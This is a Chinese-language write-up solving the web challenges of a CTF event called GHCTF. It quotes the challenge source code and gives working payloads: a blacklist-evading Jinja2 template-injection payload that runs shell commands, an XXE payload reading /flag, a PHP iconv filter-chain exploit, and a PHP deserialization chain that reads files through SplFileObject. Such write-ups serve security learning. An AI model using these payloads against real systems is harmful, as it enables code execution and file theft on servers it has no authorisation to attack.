GHCTF web方向題解

upload?SSTI!

import os
import refrom flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect
from werkzeug.utils import secure_filename
import os
from werkzeug.utils import secure_filenameapp = Flask(__name__)# 配置信息
UPLOAD_FOLDER = 'static/uploads'  # 上傳文件保存目錄
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
MAX_CONTENT_LENGTH = 16 * 1024 * 1024  # 限制上傳大小為 16MBapp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH# 創建上傳目錄（如果不存在）
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def is_safe_path(basedir, path):return os.path.commonpath([basedir,path])def contains_dangerous_keywords(file_path):dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]with open(file_path, 'rb') as f:file_content = str(f.read())for keyword in dangerous_keywords:if keyword in file_content:return True  # 找到危險關鍵字，返回 Truereturn False  # 文件內容中沒有危險關鍵字
def allowed_file(filename):return '.' in filename and \filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS@app.route('/', methods=['GET', 'POST'])
def upload_file():if request.method == 'POST':# 檢查是否有文件被上傳if 'file' not in request.files:return jsonify({"error": "未上傳文件"}), 400file = request.files['file']# 檢查是否選擇了文件if file.filename == '':return jsonify({"error": "請選擇文件"}), 400# 驗證文件名和擴展名if file and allowed_file(file.filename):# 安全處理文件名filename = secure_filename(file.filename)# 保存文件save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)file.save(save_path)# 返回文件路徑（絕對路徑）return jsonify({"message": "File uploaded successfully","path": os.path.abspath(save_path)}), 200else:return jsonify({"error": "文件類型錯誤"}), 400# GET 請求顯示上傳表單（可選）return '''<!doctype html><title>Upload File</title><h1>Upload File</h1><form method=post enctype=multipart/form-data><input type=file name=file><input type=submit value=Upload></form>'''@app.route('/file/<path:filename>')
def view_file(filename):try:# 1. 過濾文件名safe_filename = secure_filename(filename)if not safe_filename:abort(400, description="無效文件名")# 2. 構造完整路徑file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)# 3. 路徑安全檢查if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):abort(403, description="禁止訪問的路徑")# 4. 檢查文件是否存在if not os.path.isfile(file_path):abort(404, description="文件不存在")suffix=os.path.splitext(filename)[1]print(suffix)if suffix==".jpg" or suffix==".png" or suffix==".gif":return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')if contains_dangerous_keywords(file_path):# 刪除不安全的文件os.remove(file_path)return jsonify({"error": "Waf!!!!"}), 400with open(file_path, 'rb') as f:file_data = f.read().decode('utf-8')tmp_str = """<!DOCTYPE html><html lang="zh"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>查看文件內容</title></head><body><h1>文件內容：{name}</h1>  <!-- 顯示文件名 --><pre>{data}</pre>  <!-- 顯示文件內容 --><footer><p>&copy; 2025 文件查看器</p></footer></body></html>""".format(name=safe_filename, data=file_data)return render_template_string(tmp_str)except Exception as e:app.logger.error(f"文件查看失敗: {str(e)}")abort(500, description="文件查看失敗:{} ".format(str(e)))# 錯誤處理（可選）
@app.errorhandler(404)
def not_found(error):return {"error": error.description}, 404@app.errorhandler(403)
def forbidden(error):return {"error": error.description}, 403if __name__ == '__main__':app.run("0.0.0.0",debug=False)

根據源碼分析可知，我們上傳上去的文件內容會被渲染，這里就可能照成ssti漏洞

根據源碼，文件渲染的路徑為/file/文件名

這里確實成功渲染

def contains_dangerous_keywords(file_path):dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]

看了看黑名單，這里直接用fengjing

from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)def waf(s: str): # 如果字符串s可以通過waf則返回True, 否則返回Falsedangerous_patterns = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]for pattern in dangerous_patterns:if pattern in s:# print("Dangerous pattern found:", pattern)return Falsereturn Trueif __name__ == "__main__":shell_payload, _ = exec_cmd_payload(waf, "ls")# config_payload = config_payload(waf)print(shell_payload)# print(f"{config_payload=}")

運行即可得到payload

{%set pi='so'[::-1]%}{%set ts=lipsum|escape|batch(22)|first|last%}{%set gl=ts*2+'globals'+ts*2%}{%set bu=ts*2+'builtins'+ts*2%}{%set im=ts*2+'import'+ts*2%}{{g.pop[gl][bu][im](pi).popen('ls').read()}}

(>﹏<)

考xxe

源碼：

from flask import Flask,request
import base64
from lxml import etree
import re
app = Flask(__name__)@app.route('/')
def index():return open(__file__).read()@app.route('/ghctf',methods=['POST'])
def parse():xml=request.form.get('xml')print(xml)if xml is None:return "No System is Safe."parser = etree.XMLParser(load_dtd=True, resolve_entities=True)root = etree.fromstring(xml, parser)name=root.find('name').textreturn name or Noneif __name__=="__main__":app.run(host='0.0.0.0',port=8080)

直接POST傳參xml即可

%3c%21%44%4f%43%54%59%50%45%20%74%65%73%74%20%5b%0d%0a%20%20%20%20%3c%21%45%4e%54%49%54%59%20%78%78%65%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%66%6c%61%67%22%3e%0d%0a%5d%3e%0d%0a%3c%72%6f%6f%74%3e%0d%0a%20%20%20%20%3c%6e%61%6d%65%3e%26%78%78%65%3b%3c%2f%6e%61%6d%65%3e%0d%0a%3c%2f%72%6f%6f%74%3e

SQL???

這題考sqlite注入，這里可以直接用sqlmap跑

ezzzz_pickle

admin/admin123弱口令直接登錄

點擊讀取flag，抓包

可能存在文件讀取

這里直接非預期了，直接讀環境變量

ez_readfile

這題的思路其實就是打cnext，但是直接用腳本的話跑不出來，感覺是吞字符的原因。

md5強碰撞，可以用工具fastcoll_v1.0.0.5.exe生成，也可以直接用網上的payload

文章https://blog.csdn.net/EC_Carrot/article/details/109527378

這里發現我bp的post傳的字符是可以利用的，但是python發包不行，所以就沒有直接用cnext的腳本直接跑了

然后找文章看看能不能直接本地生成payload直接打的

原來只要讀這兩個文件的內容即可

找到這個工具https://github.com/kezibei/php-filter-iconv

我們先利用

php://filter/convert.base64-encode/resource=/proc/self/maps

下載，然后看到這個文件里面有說明libc具體的位置

php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so

然后改成腳本里面的名字maps和libc-2.23.so放在exp的同一個目錄下面

然后exp2.py寫的命令是

因為我怕php的字符會吞掉或者轉義之類的沒掉，然后直接看flag的名字就行

php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=data:text/plain;base64,e3vXMU9lu2hD4rr7hkVMYeVbXXSzEq0Xl64L2BB5/YQa9%2bHlZ9S%2bn0g2vKmizWz0gHE//5Hzz1a4v7qknRG9lYkBL9jQkmv9%2bJ7c97DnK%2b0erdi6RneSNAt%2bHQmCt8uO7bV9t/ZccO2RwOzIaBVzDvw6Dihte9tTXX0neu7yXx2Lr23a5pEngF9HxKni7ML8r/de2Vy1msdgf23xv%2bdHp6%2bXvxW4/XH0v47jF299/PfT/e8C12t1199/7g5TqZfDbx7Dj83Vqw23hc%2b%2bbfNWt%2b981Z%2bA/u3PP1bIrpV9P999bfLeVxf3ya4v92nv///4/939UzQbXuMa7j/9efovw6fn%2bt%2bZT8y3P3/5vGnf9%2bcfv13%2b%2bE3q9V65/iqb7Y9/Pq74%2bO3xx2%2bF9V%2bXF9b8%2bVpRd0f/28cpn2J%2bH9/4/n/t52ybOX/WyubP/76x7//U%2bzV7/hfLHC//V/a90Gaf7PvfH%2b%2b5PX98Vvf0r7/ak%2bzzCfju9I1tYt/D3gNjZG1g2Lf19/8JnnzLSCBOSuZOvGm8t3%2bLRndHyj8C5vtcl5xpe/m3R/emDo9n/KMGjxo8ajDZBm/Ys/ZaxMui7ZVb5YtvL3IpkiZgtk7%2batOwXXdy494ev7NNY%2bIdNkKFwe2s3ql65bPDfxtu1/VS2U6oINi07daje1k1/vK/p8qbn5r%2bI/rn8/i6v9Wagg/LCNgUcS0s%2bk507/uXyfuzpuiLCeax41ffkJq79ejeqz/m2X1b7fYzSfBjPgA=

生成的poc

bp發包之后沒回顯，但其實已經寫入了

成功拿到flag名字

f1wlxekj1lwjek1lkejzs1lwje1lwesjk1wldejlk1wcejl1kwjelk1wjcle1jklwecj1lkwcjel1kwjel1cwjl1jwlkew1jclkej1wlkcj1lkwej1lkcwjellag

非預期解，直接讀docker文件名字

Popppppp

pop鏈構造

源碼：

<?php
error_reporting(0);class CherryBlossom {public $fruit1;public $fruit2;public function __construct($a) {$this->fruit1 = $a;}function __destruct() {echo $this->fruit1;}public function __toString() {$newFunc = $this->fruit2;return $newFunc();}
}class Forbidden {private $fruit3;public function __construct($string) {$this->fruit3 = $string;}public function __get($name) {$var = $this->$name;$var[$name]();}
}class Warlord {public $fruit4;public $fruit5;public $arg1;public function __call($arg1, $arg2) {$function = $this->fruit4;return $function();}public function __get($arg1) {$this->fruit5->ll2('b2');}
}class Samurai {public $fruit6;public $fruit7;public function __toString() {$long = @$this->fruit6->add();return $long;}public function __set($arg1, $arg2) {if ($this->fruit7->tt2) {echo "xxx are the best!!!";}}
}class Mystery {public function __get($arg1) {array_walk($this, function ($day1, $day2) {$day3 = new $day2($day1);foreach ($day3 as $day4) {echo ($day4 . '<br>');}});}
}class Princess {protected $fruit9;protected function addMe() {return "The time spent with xxx is my happiest time" . $this->fruit9;}public function __call($func, $args) {call_user_func([$this, $func . "Me"], $args);}
}class Philosopher {public $fruit10;public $fruit11="sr22kaDugamdwTPhG5zU";public function __invoke() {if (md5(md5($this->fruit11)) == 666) {return $this->fruit10->hey;}}
}class UselessTwo {public $hiddenVar = "123123";public function __construct($value) {$this->hiddenVar = $value;}public function __toString() {return $this->hiddenVar;}
}class Warrior {public $fruit12;private $fruit13;public function __set($name, $value) {$this->$name = $value;if ($this->fruit13 == "xxx") {strtolower($this->fruit12);}}
}class UselessThree {public $dummyVar;public function __call($name, $args) {return $name;}
}class UselessFour {public $lalala;public function __destruct() {echo "Hehe";}
}if (isset($_GET['GHCTF'])) {unserialize($_GET['GHCTF']);
} else {highlight_file(__FILE__);
}

我們最終的目的還是得走到Mystery類，通過原生類來讀取flag

這里講下**array_walk**函數

參數 **$arg1**：這是嘗試訪問的屬性名稱。然而，在此方法體內并沒有直接使用這個參數。
**array_walk($this, ...)**：該函數會對**$this**（即當前對象）的每個元素應用用戶自定義的回調函數。這里的作用是遍歷對象的所有屬性。
匿名函數**：作為****array_walk**的第二個參數傳入，它接收兩個參數：
**$day1**：當前屬性的值。
**$day2**：當前屬性的名稱。

最終pop鏈

< ?phpclass CherryBlossom {
public $fruit1;
public $fruit2;
}class Samurai {
public $fruit6;
public $fruit7;
}class Philosopher {
public $fruit10;
public $fruit11="SwjI4H8ZbLdWv6zJxOZN";
}class Princess {
//
public $fruit9;
}class Mystery {
public $SplFileObject="../../../flag44545615441084";
}$a = new
CherryBlossom();
$b = new
CherryBlossom();
$c = new
Samurai();
$d = new
Princess();
$e = new
Philosopher();
$f = new
Mystery();
$a->fruit1 =$c;
$a->fruit1->fruit6 =$d;
$a->fruit1->fruit6->fruit9 =$b;
$a->fruit1->fruit6->fruit9->fruit2 =$e;
$a->fruit1->fruit6->fruit9->fruit2->fruit10 =$f;
echo
urlencode(serialize($a));

$f是一個Mystery類的實例，那么理論上，當__get方法嘗試處理SplFileObject屬性時，它會嘗試根據字符串"SplFileObject"創建一個新實例，并以"../../../flag44545615441084"為參數傳遞給構造函數。SplFileObject的構造函數需要一個有效的文件路徑作為參數，若該路徑有效，則會導致讀取指定文件內容的行為。

類似的可以先通過FilesystemIterator函數遍歷文件